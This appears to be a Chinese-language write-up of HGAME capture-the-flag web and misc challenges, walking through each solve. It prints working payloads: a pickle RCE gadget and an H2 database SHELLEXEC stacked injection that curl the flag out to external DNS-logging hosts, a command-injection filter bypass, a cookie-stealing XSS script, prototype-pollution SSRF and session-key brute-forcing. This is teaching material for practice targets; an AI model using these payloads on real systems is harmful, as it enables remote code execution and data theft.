    time_str = current_time.strftime("%H%M%S")
    time_dict[time_str] = True
    current_time += datetime.timedelta(seconds=1)

for time_str in time_dict:
    print(time_str)

生成的结果命名为time,当作字典去爆破session的key

flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcHOMg.Z2LTYiSlyO9ue19WqN6uhxs8-VM" -w time --no-literal-eval
image.png

然后登陆,post传参pickle_data为反序列化注入点

import pickle
import base64
class A(object):
  def __reduce__(self):
    return (eval,("__import__('os').system('curl `cat /flag`.qoxzwptuyv.dgrh3.cn')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

#gASVWwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIw/X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2N1cmwgYGNhdCAvZmxhZ2AucW94endwdHV5di5kZ3JoMy5jbicplIWUUpQu

然后反序列化

image.png

得到flag

hgameb93b99a54ac764d64ba1298dba17e96ed9b019c6

web-Select More Courses

考点

  • 网页前端代码审计
  • 条件竞争
  • 弱密码登录

分析

进来是一个弱密码登录界面

image.png

弱密码爆破得到密码qwert123

image.png

登录进来之后看到

image.png

先看一下自主选课界面

image.png

发现学分已经上限了

因此逻辑应该是去扩学分申请

image.png
image.png

审计一下前端js代码

<script>
alert("阿菇的提示:Race against time!");
function submitApplication() {
  const requestBody = {
    username: "ma5hr00m"
  };
  fetch("/api/expand", {
    method: "POST",
    headers: {
      "Content-Type": "application/json"
    },
    body: JSON.stringify(requestBody)
  })
    .then(response => response.json())
    .then(data => {
      console.log(data)
      alert(data.message);
    })
    .catch(error => {
      console.error("Error:", error);
    });
}
function cancelApplication() {
  window.location.href = ("/");
}
</script>

注意到这里

function cancelApplication() {
  window.location.href = ("/");
}

可以发现有一个一直重定向/的操作

因此写脚本与这个函数竞争从而来申请到扩学分

(这里我用yakit跑的重复发包)

image.png

然后学分上限就会增加

image.png

flag

hgame{5ak_p45sW0rD_&_r4Ce_c0nDiT10n}

web-What the cow say?

考点

  • 命令注入

分析

进入题目看到输入多少就是多少

经过猜测是不是sql,xss,ssti

image.png

输入*发现问题

image.png
image.png

猜测后端语句是ls image.png

读取flag发现是个文件夹

image.png

payload:

ec''ho `ca''t /f*/*`
image.png

flag:

hgame{C0wsay_be_c4re_aB0ut_ComMand_Injecti0n}

最后附上源码

from flask import Flask,            \
| render_template, request, redirect,      |
| url_for import subprocess app =          |
| Flask(__name__) @app.route('/',          |
| methods=['GET', 'POST']) def index():    |
| result = None if request.method ==       |
| 'POST': user_input =                     |
| request.form['user_input'] result =      |
| run_cowsay(user_input) return            |
| render_template('index.html',            |
| result=result) @app.route('/post',       |
| methods=['POST']) def post(): if         |
| request.method == 'POST': user_input =   |
| request.form['user_input'] result =      |
| run_cowsay(user_input) return            |
| render_template('index.html',            |
| result=result) def run_cowsay(text):     |
| try: if (waf(text)): cmd_output =        |
| subprocess.check_output('cowsay ' +      |
| text, text=True,                         |
| stderr=subprocess.STDOUT, shell=True)    |
| return cmd_output.strip() else:          |
| cmd_output =                             |
| subprocess.check_output('cowsay Waf!',   |
| text=True, stderr=subprocess.STDOUT,     |
| shell=True) return cmd_output.strip()    |
| except subprocess.CalledProcessError as  |
| e: return run_cowsay("ERROR!") def       |
| waf(string): blacklist = ['echo',        |
| 'cat', 'tee', ';', '|', '&', '<',        |
| '>','\\','flag'] for black in            |
| blacklist: if (black in string): return  |
| False return True if __name__ ==         |
\ '__main__': app.run("0.0.0.0", port=80)  /
 ------------------------------------------

web-search4member

考点

  • 堆叠注入
  • H2数据库RCE漏洞(CVE-2021-42392)

分析

CVE-2021-42392漏洞复现单独写

查询数据库发现是H2数据库

a' union select 1,database(),3--+

image.png

首先创建一个数据库函数SHELLEXEC

payload:

1';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;CALL SHELLEXEC('curl 域名');--+

or

1';CREATE ALIAS SHELLEXEC AS 'String shellexec(String cmd) throws java.io.IOException {java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL SHELLEXEC('curl 域名');--+

创建完后通过堆叠注入,调用SHELLEXEC从而RCE

curl `cat /flag`.oqtfzruqzd.dgrh3.cn
编码后:
Y3VybCBgY2F0IC9mbGFnYC5vcXRmenJ1cXpkLmRncmgzLmNu
命令执行为:
'bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC5vcXRmenJ1cXpkLmRncmgzLmNu}|{base64,-d}|{bash,-i}'

payload:
1';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC5vcXRmenJ1cXpkLmRncmgzLmNu}|{base64,-d}|{bash,-i}');--+
image.png

外带出flag

image.png

flag

hgame{bf39e1f653ebbd9384bfe2a80063dcf2b02ad2e3}

reference

https://www.cnblogs.com/shineman-zhang/articles/16753095.html
https://www.cnblogs.com/ArcherCY/p/17699288.html
https://blog.csdn.net/NYG694/article/details/136102280
https://blog.csdn.net/Jayjay___/article/details/136117054

web-梅开二度

考点

利用go的ssti绕过html限制然后xss

没有docker这道题云复现

分析

源码如下

//代审注释copied from jay17 from gpt4.0
// 导入必要的包
import (
    "context"       // 用于创建和传递上下文
    "log"           // 用于记录日志
    "net/url"       // 用于解析URL
    "os"            // 用于读取环境变量和文件系统
    "regexp"        // 用于正则表达式匹配
    "sync"          // 用于同步goroutine
    "text/template" // 用于处理文本模板,存在XSS!
    "time"          // 用于处理时间

    "github.com/chromedp/chromedp" // ChromeDP用于控制Chrome浏览器
    "github.com/gin-gonic/gin"     // Gin是一个HTTP Web框架
    "golang.org/x/net/html"        // 用于操作HTML
)

// 预编译的正则表达式,用于检查模板字符串中是否包含非法词汇
var re = regexp.MustCompile(`script|file|on`)

// 全局锁,用于同步访问
var lock sync.Mutex

func main() {
    // 创建一个ChromeDP执行环境,配置Chrome运行参数
    allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:],
        chromedp.NoSandbox, chromedp.DisableGPU)...)
    defer cancel() // 确保在main函数结束时取消上下文,释放资源

    // 创建一个Gin路由器
    r := gin.Default()

    // 处理根路径的GET请求,动态生成HTML页面
    r.GET("/", func(c *gin.Context) {
        tmplStr := c.Query("tmpl") // 从查询参数获取模板字符串
        if tmplStr == "" {
            tmplStr = defaultTmpl // 若未提供,则使用默认模板
        } else {
            // 检查模板字符串是否合法
            if re.MatchString(tmplStr) {
                c.String(403, "tmpl contains invalid word")
                return
            }
            if len(tmplStr) > 50 {
                c.String(403, "tmpl is too long")
                return
            }
            tmplStr = html.EscapeString(tmplStr) // 对模板字符串进行HTML转义
        }
        tmpl, err := template.New("resp").Parse(tmplStr) // 解析模板
        if err != nil {
            c.String(500, "parse template error: %v", err)
            return
        }
        if err := tmpl.Execute(c.Writer, c); err != nil { // 执行模板,生成响应
            c.String(500, "execute template error: %v", err)
        }
    })

    // 处理"/bot"路径的GET请求,模拟浏览器访问提供的URL
    r.GET("/bot", func(c *gin.Context) {
        rawURL := c.Query("url")    // 从查询参数获取URL
        u, err := url.Parse(rawURL) // 解析URL
        if err != nil {
            c.String(403, "url is invalid")
            return
        }
        if u.Host != "127.0.0.1:8080" { // 限制URL的主机地址
            c.String(403, "host is invalid")
            return
        }
        go func() { // 在新的goroutine中执行,以非阻塞方式处理请求
            lock.Lock()         // 在访问共享资源前加锁
            defer lock.Unlock() // 确保在函数结束时释放锁

            ctx, cancel := chromedp.NewContext(allocCtx,
                chromedp.WithBrowserOption(chromedp.WithDialTimeout(10*time.Second)),
            )
            defer cancel()
            ctx, _ = context.WithTimeout(ctx, 20*time.Second) // 设置上下文超时
            if err := chromedp.Run(ctx,
                chromedp.Navigate(u.String()),  // 导航到指定的URL
                chromedp.Sleep(time.Second*10), // 等待页面加载
            ); err != nil {
                log.Println(err) // 记录错误
            }
        }()
        c.String(200, "bot will visit it.") // 响应客户端
    })

    // 处理"/flag"路径的GET请求,仅允许来自localhost的请求
    r.GET("/flag", func(c *gin.Context) {
        if c.RemoteIP() != "127.0.0.1" { // 检查请求来源IP地址
            c.String(403, "you are not localhost")
            return
        }
        flag, err := os.ReadFile("/flag") // 读取flag文件
        if err != nil {
            c.String(500, "read flag error")
            return
        }
        c.SetCookie("flag", string(flag), 3600, "/", "", false, true) // 将flag设置为cookie
        c.Status(200)                                                 // 发送200状态码
    })

    // 启动Gin服务器,监听8080端口
    r.Run(":8080")
}

// defaultTmpl是默认的HTML模板,用于生成响应页面
const defaultTmpl = `
<!DOCTYPE html>
<html>
<head>
    <title>YOU ARE</title>
</head>
<body>
    <div>欢迎来自 {{.RemoteIP}} 的朋友</div>
    <div>你的 User-Agent 是 {{.GetHeader "User-Agent"}}</div>
    <div>flag在bot手上,想办法偷过来</div>
</body>
`

其中最关键的如下:

  1. var re = regexp.MustCompile(script|file|on)

黑名单过滤scriptfileon

  1. if len(tmplStr) > 50

限制长度50以内

  1. tmplStr = html.EscapeString(tmplStr)

进行转义

  1. 根路由下存在ssti
if err := tmpl.Execute(c.Writer, c); err != nil { // 执行模板,生成响应
            c.String(500, "execute template error: %v", err)
        }

后面的思路大概就是传参tmpl={{println 0B101101011011011110001010110}}

测试是否存在ssti

然后xss弄个弹窗测试

?tmpl={{.Query `a`}}&a=<script>alert('XSS')</script>

之后就是想办法带出flag了

/bot路由主要是获取传参url,访问url参数的值,要满足访问的是本地8080端口。

/flag路由将cookie设置为flag,前提是来源是本地(bot可以做到)

大体思路就是:bot访问根路由进行xss执行js代码访问/flag获取cookie,这个cookie就是flag

初步payload:

/bot?url=http://127.0.0.1:8080?tmpl={{.Query `Jay17`}}&Jay17=<script>【JS代码,用来XSS】</script>

js代码部分(copied from jay17)

async function fetchData() {
    // 首先访问网址A
    await fetch('http://127.0.0.1:8080/flag')
        .then(response => response.text()) 
        .then(data => console.log('网址A访问成功'))
        .catch(error => console.error('访问网址A时发生错误:', error));

    // 然后访问网址B,并将响应数据赋值给变量X
    let x; // 定义变量X
    await fetch('http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}')
        .then(response => response.text()) 
        .then(data => {
            x = data; // 将获取到的数据(网页响应)赋值给变量X
        })
        .catch(error => console.error('访问网址B时发生错误:', error));
    window.open("http://jay17"+x.substring(6,46)+".kgb7xfn7.requestrepo.com/");//DNS带出
}
// 调用函数
fetchData();

问题记录1:看jay17师傅的wp说的是这道题出网然而vps监听不到,因此被迫走udp信道换用dns外带

问题记录2:利用/bot路由去XSS,这个路由首先解码一次,之后XSS时候又会解码一次。

最终payload:

/bot?url=http%3A%2F%2F127.0.0.1%3A8080%3Ftmpl%3D%7B%7B.Query%20%60Jay17%60%7D%7D%26Jay17%3D%253Cscript%253E%250Aasync%2520function%2520fetchData()%2520%257B%250A%2520%2520%2520%2520%252F%252F%2520%25E9%25A6%2596%25E5%2585%2588%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580A%250A%2520%2520%2520%2520await%2520fetch('http%253A%252F%252F127.0.0.1%253A8080%252Fflag')%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520console.log('%25E7%25BD%2591%25E5%259D%2580A%25E8%25AE%25BF%25E9%2597%25AE%25E6%2588%2590%25E5%258A%259F'))%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error('%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580A%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A'%252C%2520error))%253B%250A%250A%2520%2520%2520%2520%252F%252F%2520%25E7%2584%25B6%25E5%2590%258E%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580B%25EF%25BC%258C%25E5%25B9%25B6%25E5%25B0%2586%25E5%2593%258D%25E5%25BA%2594%25E6%2595%25B0%25E6%258D%25AE%25E8%25B5%258B%25E5%2580%25BC%25E7%25BB%2599%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520let%2520x%253B%2520%252F%252F%2520%25E5%25AE%259A%25E4%25B9%2589%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520await%2520fetch('http%253A%252F%252F127.0.0.1%253A8080%252F%253Ftmpl%253D%257B%257B.Cookie%2520%2560flag%2560%257D%257D')%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520%257B%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520x%2520%253D%2520data%253B%2520%252F%252F%2520%25E5%25B0%2586%25E8%258E%25B7%25E5%258F%2596%25E5%2588%25B0%25E7%259A%2584%25E6%2595%25B0%25E6%258D%25AE%25E8%25B5%258B%25E5%2580%25BC%25E7%25BB%2599%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D)%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error('%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580B%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A'%252C%2520error))%253B%250A%2520%2520%2520%2520window.open(%2522http%253A%252F%252Fjay17%2522%252Bx.substring(6%252C46)%252B%2522.kgb7xfn7.requestrepo.com%252F%2522)%253B%252F%252FDNS%25E5%25B8%25A6%25E5%2587%25BA%250A%257D%250A%252F%252F%2520%25E8%25B0%2583%25E7%2594%25A8%25E5%2587%25BD%25E6%2595%25B0%250AfetchData()%253B%250A%253C%252Fscript%253E

misc-ezword

image.png

考点

  • 盲水印隐写
  • 杂七杂八的decode

分析

下载附件得到一个这是一个word文件.docx,拖进010看文件头发现是zip

改后缀,解压得到

image.png

一般就先看document.xml

里面说flag就在这个文件内部

于是找到

image.png

txt给出hint

恭喜你找到了这些东西,现在你离flag只差解开这个新的压缩包,然后对压缩包里的东西进行两层解密就能获得flag了。压缩包的密码和我放在这的两张图片有关。

很明显要水印解密

image.png
image.png
python bwmforpy3.py decode 1.jpg image1.png jieguo.png
image<1.jpg> + image(encoded)<image1.png> -> watermark<jieguo.png>
image.png

得到zip的key

T1hi3sI4sKey

zip里的secret.txt内容如下

image.png

参考https://blog.csdn.net/weixin_52640415/article/details/125927340

拿去网站解码https://spammimic.com/decode.cgi

得到:

籱籰籪籶籮粄簹籴籨粂籸籾籨籼簹籵籿籮籨籪籵簺籨籽籱簼籨籼籮籬类簼籽粆

拿去unicode转中文得到

\u7c71\u7c70\u7c6a\u7c76\u7c6e\u7c84\u7c39\u7c74\u7c68\u7c82\u7c78\u7c7e\u7c68\u7c7c\u7c39\u7c75\u7c7f\u7c6e\u7c68\u7c6a\u7c75\u7c3a\u7c68\u7c7d\u7c71\u7c3c\u7c68\u7c7c\u7c6e\u7c6c\u7c7b\u7c3c\u7c7d\u7c86

不妨看一下hgame的十六进制

a =  'hgame'
b = a.encode().hex()
print(b)

#6867616d65

可以发现全都差个9

去除\u7c得到

71 70 6a 76 6e 84 39 74 68 82 78 7e 68 7c 39 75 7f 6e 68 6a 75 3a 68 7d 71 3c 68 7c 6e 6c 7b 3c 7d 86

依次-9得到

68 67 61 6d 65 7b 30 6b 5f 79 6f 75 5f 73 30 6c 76 65 5f 61 6c 31 5f 74 68 33 5f 73 65 63 72 33 74 7d

得到

hgame{0k_you_s0lve_al1_th3_secr3t}

misc-ek1ng_want_girlfriend

下载流量分析包http流有一个png图片下载下来就是flag

misc-龙之舞

  • 额,被卡最后一步,当时最后的二维码碎片拼出来扫不了,用的工具都对的但是没用明白

    考点

分析

附件下载得到一个wav文件,前五秒存疑

首先audacity打开,默认波形图换成频谱图查看前五秒得到key

image.png

key如下:

KEY:5H8w1nlWCX3hQLG

image.png

由于带key的wav隐写,那么我会想到deepsound和silenteye

这两种隐写不一定需要key,但是有key一定要考虑这两种隐写。

其实文件名也算hint了,拿去deepsound提取出xxx.zip

image.png

里面是一个gif

image.png

拿去stegsolve分帧得到四张二维码碎片

哥们挺心灵手巧的手动拼接了一下奈何扫不出

image.png

通过尝试二维码修复在线网站拼接可以看到decode data有错误

image.png
https://h3110w0r1d.com/qrazybox/

使用教程网站里面有,通过tools里面的

image.png

得到ECC级别L和掩码模式4的时候解码出flag

image.png

WEEK3

Web-webvpn

考点

  • js原型链__proto过滤__污染配合ssrf

题目描述

image.png

分析

下载题目附件得到js源码

代审后已加注释

const express = require("express");
const axios = require("axios");
const bodyParser = require("body-parser");
const path = require("path");
const fs = require("fs");
const { v4: uuidv4 } = require("uuid");
const session = require("express-session");

const app = express();
const port = 3000;
const session_name = "my-webvpn-session-id-" + uuidv4().toString();

app.set("view engine", "pug");
app.set("trust proxy", false);
app.use(express.static(path.join(__dirname, "public")));
app.use(
  session({
    name: session_name,
    secret: uuidv4().toString(),
    secure: false,
    resave: false,
    saveUninitialized: true,
  })
);
app.use(bodyParser.json());
var userStorage = {
  username: {
    password: "password",
    info: {
      age: 18,
    },
    strategy: {
      "baidu.com": true,
      "google.com": false,
    },
  },
};

function update(dst, src) {
  for (key in src) {
    if (key.indexOf("__") != -1) {
      continue;
    }
    if (typeof src[key] == "object" && dst[key] !== undefined) {
      update(dst[key], src[key]);
      continue;
    }
    dst[key] = src[key];
  }
}

app.use("/proxy", async (req, res) => {
  const { username } = req.session;
  if (!username) {
    res.sendStatus(403);
  }

  let url = (() => {          //创建url对象,并且通过js的内置对象URL检查是否有url参数,如果没有则返回invalid url.
    try {                       //比如直接访问/proxy就会返回invalid url.
      return new URL(req.query.url);
    } catch {
      res.status(400);
      res.end("invalid url.");
      return undefined;
    }
  })();

  if (!url) return;

  if (!userStorage[username].strategy[url.hostname]) {    //检查url对象的主机名部分不包括端口号
    res.status(400);
    res.end("your url is not allowed.");
  }  //检查userStorage[username].strategy是否为ture,比如Google.com为false就会返回your url is not allowed

  try {
    const headers = req.headers;
    headers.host = url.host;
    headers.cookie = headers.cookie.split(";").forEach((cookie) => {
      var filtered_cookie = "";
      const [key, value] = cookie.split("=", 1);         //分割cookie第一个=左右的值并分配给key,value
      if (key.trim() !== session_name) {
        filtered_cookie += `${key}=${value};`;
      }
      return filtered_cookie;//将不是会话 cookie 的其他 cookie 过滤掉,并将剩余的会话 cookie 构建成一个新的 cookie 字符串,最后返回
    });
    const remote_res = await (() => {
      if (req.method == "POST") {
        return axios.post(url, req.body, {
          headers: headers,
        });
      } else if (req.method == "GET") {
        return axios.get(url, {
          headers: headers,
        });
      } else {
        res.status(405);
        res.end("method not allowed.");
        return;
      }
    })();
    res.status(remote_res.status);
    res.header(remote_res.headers);
    res.write(remote_res.data);
  } catch (e) {
    res.status(500);
    res.end("unreachable url.");
  }
});

app.post("/user/login", (req, res) => {
  const { username, password } = req.body;
  if (
    typeof username != "string" ||
    typeof password != "string" ||
    !username ||
    !password
  ) {
    res.status(400);
    res.end("invalid username or password");
    return;
  }
  if (!userStorage[username]) {
    res.status(403);
    res.end("invalid username or password");
    return;
  }
  if (userStorage[username].password !== password) {
    res.status(403);
    res.end("invalid username or password");
    return;
  }
  req.session.username = username;
  res.send("login success");
});

// under development
app.post("/user/info", (req, res) => {
  if (!req.session.username) {
    res.sendStatus(403);
  }
  update(userStorage[req.session.username].info, req.body);
  res.sendStatus(200);
});

app.get("/home", (req, res) => {
  if (!req.session.username) {
    res.sendStatus(403);
    return;
  }
  res.render("home", {
    username: req.session.username,
    strategy: ((list)=>{
      var result = [];
      for (var key in list) {
        result.push({host: key, allow: list[key]});
      }
      return result;
    })(userStorage[req.session.username].strategy),
  });
});

// demo service behind webvpn
app.get("/flag", (req, res) => {
  if (
    req.headers.host != "127.0.0.1:3000" ||
    req.hostname != "127.0.0.1" ||
    req.ip != "127.0.0.1" 
  ) {
    res.sendStatus(400);
    return;
  }
  const data = fs.readFileSync("/flag");
  res.send(data);
});

app.listen(port, '0.0.0.0', () => {
  console.log(`app listen on ${port}`);
});

可以看到这段代码存在原型链污染

function update(dst, src) {
  for (key in src) {
    if (key.indexOf("__") != -1) {
      continue;
    }
    if (typeof src[key] == "object" && dst[key] !== undefined) {
      update(dst[key], src[key]);
      continue;
    }
    dst[key] = src[key];
  }
}

大致思路如下:如果污染strategy使其存在一个127.0.0.1的属性,然后在/proxy通过ssrf读取127.0.0.1:3000/flag路由,因为/proxy路由只允许读取strategy。因此通过update函数污染strategy使127.0.0.1为true即可

/user/info调用了update函数,去该路由下进行污染

image.png
POST /user/info HTTP/1.1
Host: 139.224.232.162:31989
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
cookie: my-webvpn-session-id-16d07129-af5d-4a94-832c-64e7b05aa0b1=s%3AosV8JgT2QnWChtj1Sv6k60jNRbqI52s1.LzRMjQQ6BffOIBuax2qIa%2F4rvaYZ6ByGKe%2FaMR9ZPIM

{"constructor":{"prototype":{"127.0.0.1":true}}}

然后访问139.224.232.162:31989/proxy?url=http://127.0.0.1:3000/flag

会有一个proxy文件下载下来,打开就是flag

image.png

flag

hgame{960fd010edba920bca9b16b93ac3e9756052142f}

Web-Zero Link

考点

  • 用户登录存在的逻辑漏洞(GO语言的零值设计,无法区分结构体中的字段是否被赋值过)
  • 文件上传软连接

题目描述

image.png

分析

开题是这样一个界面

image.png

下载附件得到

image.png

代审\src\internal\database\sqlite.go路由

这是开题页面的后端代码,用于查询用户信息

package database

import (
    "log"
    "zero-link/internal/config"

    "gorm.io/driver/sqlite"
    "gorm.io/gorm"
)

var db *gorm.DB

type User struct {
    gorm.Model
    Username string `gorm:"not null;column:username;unique"`
    Password string `gorm:"not null;column:password"`
    Token    string `gorm:"not null;column:token"`
    Memory   string `gorm:"not null;column:memory"`
}

func init() {
    databaseLocation := config.Sqlite.Location

    var err error
    db, err = gorm.Open(sqlite.Open(databaseLocation), &gorm.Config{})
    if err != nil {
        panic("Cannot connect to SQLite: " + err.Error())
    }

    err = db.AutoMigrate(&User{})
    if err != nil {
        panic("Failed to migrate database: " + err.Error())
    }

    users := []User{
        {Username: "Admin", Token: "0000", Password: "Admin password is here", Memory: "Keep Best Memory!!!"},
        {Username: "Taka", Token: "4132", Password: "newfi443543", Memory: "Love for pixel art."},
        {Username: "Tom", Token: "8235", Password: "ofeni3525", Memory: "Family is my treasure"},
        {Username: "Alice", Token: "1234", Password: "abcde12345", Memory: "Graduating from college"},
        {Username: "Bob", Token: "5678", Password: "fghij67890", Memory: "Winning a championship in sports"},
        {Username: "Charlie", Token: "9012", Password: "klmno12345", Memory: "Traveling to a foreign country for the first time"},
        {Username: "David", Token: "3456", Password: "pqrst67890", Memory: "Performing on stage in a theater production"},
        {Username: "Emily", Token: "7890", Password: "uvwxy12345", Memory: "Meeting my favorite celebrity"},
        {Username: "Frank", Token: "2345", Password: "zabcd67890", Memory: "Overcoming a personal challenge"},
        {Username: "Grace", Token: "6789", Password: "efghi12345", Memory: "Completing a marathon"},
        {Username: "Henry", Token: "0123", Password: "jklmn67890", Memory: "Becoming a parent"},
        {Username: "Ivy", Token: "4567", Password: "opqrs12345", Memory: "Graduating from high school"},
        {Username: "Jack", Token: "8901", Password: "tuvwx67890", Memory: "Starting my own business"},
        {Username: "Kelly", Token: "2345", Password: "yzabc12345", Memory: "Learning to play a musical instrument"},
        {Username: "Liam", Token: "6789", Password: "defgh67890", Memory: "Winning a scholarship for higher education"},
    }
    for _, user := range users {
        result := db.Create(&user)
        if result.Error != nil {
            panic("Failed to create user: " + result.Error.Error())
        }
    }
}

func GetPasswordByUsername(username string) (string, error) {
    var user User
    err := db.Where("username = ?", username).First(&user).Error
    if err != nil {
        log.Println("Cannot get password: " + err.Error())
        return "", err
    }
    return user.Password, nil
}

func GetUserByUsernameOrToken(username string, token string) (*User, error) {
    var user User
    query := db
    if username != "" {
        query = query.Where(&User{Username: username})
    } else {
        query = query.Where(&User{Token: token})
    }
    err := query.First(&user).Error
    if err != nil {
        log.Println("Cannot get user: " + err.Error())
        return nil, err
    }
    return &user, nil
}

 

代审下来之后,这就是个数据库操作的后端代码,并提供了查询功能

因此下一步目标就是获取admin的password

审计routes.go,给出了路由

package routes

import (
    "fmt"
    "html/template"
    "net/http"
    "os"
    "os/signal"
    "path/filepath"
    "zero-link/internal/config"
    "zero-link/internal/controller/auth"
    "zero-link/internal/controller/file"
    "zero-link/internal/controller/ping"
    "zero-link/internal/controller/user"
    "zero-link/internal/middleware"
    "zero-link/internal/views"

    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
)

func Run() {
    r := gin.Default()

    html := template.Must(template.New("").ParseFS(views.FS, "*"))
    r.SetHTMLTemplate(html)

    secret := config.Secret.SessionSecret
    store := cookie.NewStore([]byte(secret))
    r.Use(sessions.Sessions("session", store))

    api := r.Group("/api")
    {
        api.GET("/ping", ping.Ping)
        api.POST("/user", user.GetUserInfo)
        api.POST("/login", auth.AdminLogin)

        apiAuth := api.Group("")
        apiAuth.Use(middleware.Auth())
        {
            apiAuth.POST("/upload", file.UploadFile)
            apiAuth.GET("/unzip", file.UnzipPackage)
            apiAuth.GET("/secret", file.ReadSecretFile)
        }
    }

    frontend := r.Group("/")
    {
        frontend.GET("/", func(c *gin.Context) {
            c.HTML(http.StatusOK, "index.html", nil)
        })
        frontend.GET("/login", func(c *gin.Context) {
            c.HTML(http.StatusOK, "login.html", nil)
        })

        frontendAuth := frontend.Group("")
        frontendAuth.Use(middleware.Auth())
        {
            frontendAuth.GET("/manager", func(c *gin.Context) {
                c.HTML(http.StatusOK, "manager.html", nil)
            })
        }
    }

    quit := make(chan os.Signal)
    signal.Notify(quit, os.Interrupt)

    go func() {
        <-quit
        err := os.Remove(filepath.Join(".", "sqlite.db"))
        if err != nil {
            fmt.Println("Failed to delete sqlite.db:", err)
        } else {
            fmt.Println("sqlite.db deleted")
        }
        os.Exit(0)
    }()

    r.Run(":8000")
}

 

审计\src\internal\controller\user\user.go

package user

import (
    "net/http"
    "zero-link/internal/database"

    "github.com/gin-gonic/gin"
)

type UserInfoResponse struct {
    Code    int            `json:"code"`
    Message string         `json:"message"`
    Data    *database.User `json:"data"`
}

func GetUserInfo(c *gin.Context) {
    var req struct {
        Username string `json:"username"`
        Token    string `json:"token"`
    }

    if err := c.ShouldBindJSON(&req); err != nil {
        c.JSON(http.StatusBadRequest, UserInfoResponse{
            Code:    http.StatusBadRequest,
            Message: "Invalid request body",
            Data:    nil,
        })
        return
    }

    if req.Username == "Admin" || req.Token == "0000" {
        c.JSON(http.StatusForbidden, UserInfoResponse{
            Code:    http.StatusForbidden,
            Message: "Forbidden",
            Data:    nil,
        })
        return
    }

    user, err := database.GetUserByUsernameOrToken(req.Username, req.Token)
    if err != nil {
        c.JSON(http.StatusInternalServerError, UserInfoResponse{
            Code:    http.StatusInternalServerError,
            Message: "Failed to get user",
            Data:    nil,
        })
        return
    }

    if user == nil {
        c.JSON(http.StatusNotFound, UserInfoResponse{
            Code:    http.StatusNotFound,
            Message: "User not found",
            Data:    nil,
        })
        return
    }

    response := UserInfoResponse{
        Code:    http.StatusOK,
        Message: "Ok",
        Data:    user,
    }

    c.JSON(http.StatusOK, response)
}

 

尽管页面限制了 token 和 username 不能同时为空,但是后端没限制。

只判断token和username是否在数据库中,或者是否为Admin或者0000,却没有判断是否为空,将两者都设置为空

官方解释如下

image.png

于是传空值

image.png

可以看到响应包返回了密码

{
    "code": 200,
    "message": "Ok",
    "data": {
        "ID": 1,
        "CreatedAt": "2024-02-26T10:50:44.740550463Z",
        "UpdatedAt": "2024-02-26T10:50:44.740550463Z",
        "DeletedAt": null,
        "Username": "Admin",
        "Password": "Zb77jbeoZkDdfQ12fzb0",
        "Token": "0000",
        "Memory": "Keep Best Memory!!!"
    }
}

然后用此密码登进系统

image.png

发现是文件上传

image.png

审计src\internal\controller\file\file.go源码

for _, file := range files {
        cmd := exec.Command("unzip", "-o", file, "-d", "/tmp/")
        if err := cmd.Run(); err != nil {
            c.JSON(http.StatusInternalServerError, FileResponse{
                Code:    http.StatusInternalServerError,
                Message: "Failed to unzip file: " + file,
                Data:    "",
            })
            return
        }
    }

存在这样一段代码,不难想到文件上传之unzip软链接攻击

file.go完整代码如下

package file

import (
    "net/http"
    "os"
    "os/exec"
    "path/filepath"
    "zero-link/internal/util"

    "github.com/gin-gonic/gin"
)

type FileResponse struct {
    Code    int    `json:"code"`
    Message string `json:"message"`
    Data    string `json:"data"`
}

func UploadFile(c *gin.Context) {
    file, err := c.FormFile("file")
    if err != nil {
        c.JSON(http.StatusBadRequest, FileResponse{
            Code:    http.StatusBadRequest,
            Message: "No file uploaded",
            Data:    "",
        })
        return
    }

    ext := filepath.Ext(file.Filename)
    if (ext != ".zip") || (file.Header.Get("Content-Type") != "application/zip") {
        c.JSON(http.StatusBadRequest, FileResponse{
            Code:    http.StatusBadRequest,
            Message: "Only .zip files are allowed",
            Data:    "",
        })
        return
    }

